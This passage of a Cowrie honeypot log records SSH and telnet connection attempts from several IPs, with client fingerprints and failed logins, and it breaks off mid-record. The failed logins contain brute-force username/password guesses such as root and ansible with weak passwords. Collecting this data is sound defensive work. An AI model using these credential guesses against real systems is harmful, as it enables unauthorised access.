{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50284,"dst_ip":"159.203.135.109","dst_port":22,"session":"b001502be478","protocol":"ssh","message":"New connection: 159.203.92.129:50284 (159.203.135.109:22) [session: b001502be478]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:51:21.163195Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:51:21.168376Z","src_ip":"159.203.92.129","session":"b001502be478","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:51:21.174331Z","src_ip":"159.203.92.129","session":"b001502be478","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"qaz!@#123","message":"login attempt [ansible/qaz!@#123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:51:21.186219Z","src_ip":"159.203.92.129","session":"b001502be478","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:51:22.217247Z","src_ip":"159.203.92.129","session":"b001502be478","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.99.170.152","src_port":42744,"dst_ip":"159.203.135.109","dst_port":22,"session":"344d3d63d082","protocol":"ssh","message":"New connection: 50.99.170.152:42744 (159.203.135.109:22) [session: 344d3d63d082]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:51:57.710721Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:51:57.715750Z","src_ip":"50.99.170.152","session":"344d3d63d082","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:51:57.779421Z","src_ip":"50.99.170.152","session":"344d3d63d082","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r,","message":"login attempt [root/1q2w3e4r,] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:51:58.048614Z","src_ip":"50.99.170.152","session":"344d3d63d082","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:51:59.112426Z","src_ip":"50.99.170.152","session":"344d3d63d082","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42252,"dst_ip":"159.203.135.109","dst_port":22,"session":"73360f702da7","protocol":"ssh","message":"New connection: 159.203.92.129:42252 (159.203.135.109:22) [session: 73360f702da7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:51:59.923439Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:51:59.929763Z","src_ip":"159.203.92.129","session":"73360f702da7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:51:59.937625Z","src_ip":"159.203.92.129","session":"73360f702da7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"qaz123","message":"login attempt [ansible/qaz123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:51:59.949029Z","src_ip":"159.203.92.129","session":"73360f702da7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:52:00.955664Z","src_ip":"159.203.92.129","session":"73360f702da7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55242,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce48989d4d2c","protocol":"ssh","message":"New connection: 159.203.92.129:55242 (159.203.135.109:22) [session: ce48989d4d2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:52:44.074040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:52:44.078439Z","src_ip":"159.203.92.129","session":"ce48989d4d2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:52:44.083117Z","src_ip":"159.203.92.129","session":"ce48989d4d2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"qazwsx","message":"login attempt [ansible/qazwsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:52:44.094262Z","src_ip":"159.203.92.129","session":"ce48989d4d2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:52:45.103899Z","src_ip":"159.203.92.129","session":"ce48989d4d2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.99.170.152","src_port":35382,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a59837dbb83","protocol":"ssh","message":"New connection: 50.99.170.152:35382 (159.203.135.109:22) [session: 6a59837dbb83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:52:51.964354Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:52:51.969024Z","src_ip":"50.99.170.152","session":"6a59837dbb83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:52:52.028087Z","src_ip":"50.99.170.152","session":"6a59837dbb83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Login@12345","message":"login attempt [root/Login@12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:52:52.311823Z","src_ip":"50.99.170.152","session":"6a59837dbb83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:52:53.372802Z","src_ip":"50.99.170.152","session":"6a59837dbb83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.195.116.65","src_port":34688,"dst_ip":"10.17.0.5","dst_port":23,"session":"3012a76beb24","protocol":"telnet","message":"New connection: 194.195.116.65:34688 (10.17.0.5:23) [session: 3012a76beb24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:53:01.009747Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36626,"dst_ip":"159.203.135.109","dst_port":22,"session":"f4af7e885ade","protocol":"ssh","message":"New connection: 159.203.92.129:36626 (159.203.135.109:22) [session: f4af7e885ade]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:53:28.777895Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:53:28.783530Z","src_ip":"159.203.92.129","session":"f4af7e885ade","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:53:28.789008Z","src_ip":"159.203.92.129","session":"f4af7e885ade","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"qazwsxedc","message":"login attempt [ansible/qazwsxedc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:53:28.820900Z","src_ip":"159.203.92.129","session":"f4af7e885ade","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:53:29.826971Z","src_ip":"159.203.92.129","session":"f4af7e885ade","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.35103416442871,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:53:32.360655Z","src_ip":"194.195.116.65","session":"3012a76beb24","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":41192,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef9a8bf42ef9","protocol":"telnet","message":"New connection: 62.171.135.55:41192 (159.203.135.109:23) [session: ef9a8bf42ef9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:53:47.590473Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.99.170.152","src_port":57438,"dst_ip":"159.203.135.109","dst_port":22,"session":"0510ed37f7ac","protocol":"ssh","message":"New connection: 50.99.170.152:57438 (159.203.135.109:22) [session: 0510ed37f7ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:53:47.882246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:53:47.889308Z","src_ip":"50.99.170.152","session":"0510ed37f7ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:53:47.948098Z","src_ip":"50.99.170.152","session":"0510ed37f7ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ba123456@","message":"login attempt [root/Ba123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:53:48.218081Z","src_ip":"50.99.170.152","session":"0510ed37f7ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:53:49.278584Z","src_ip":"50.99.170.152","session":"0510ed37f7ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59738,"dst_ip":"159.203.135.109","dst_port":22,"session":"7880045759b0","protocol":"ssh","message":"New connection: 159.203.92.129:59738 (159.203.135.109:22) [session: 7880045759b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:54:13.107090Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:54:13.111930Z","src_ip":"159.203.92.129","session":"7880045759b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-s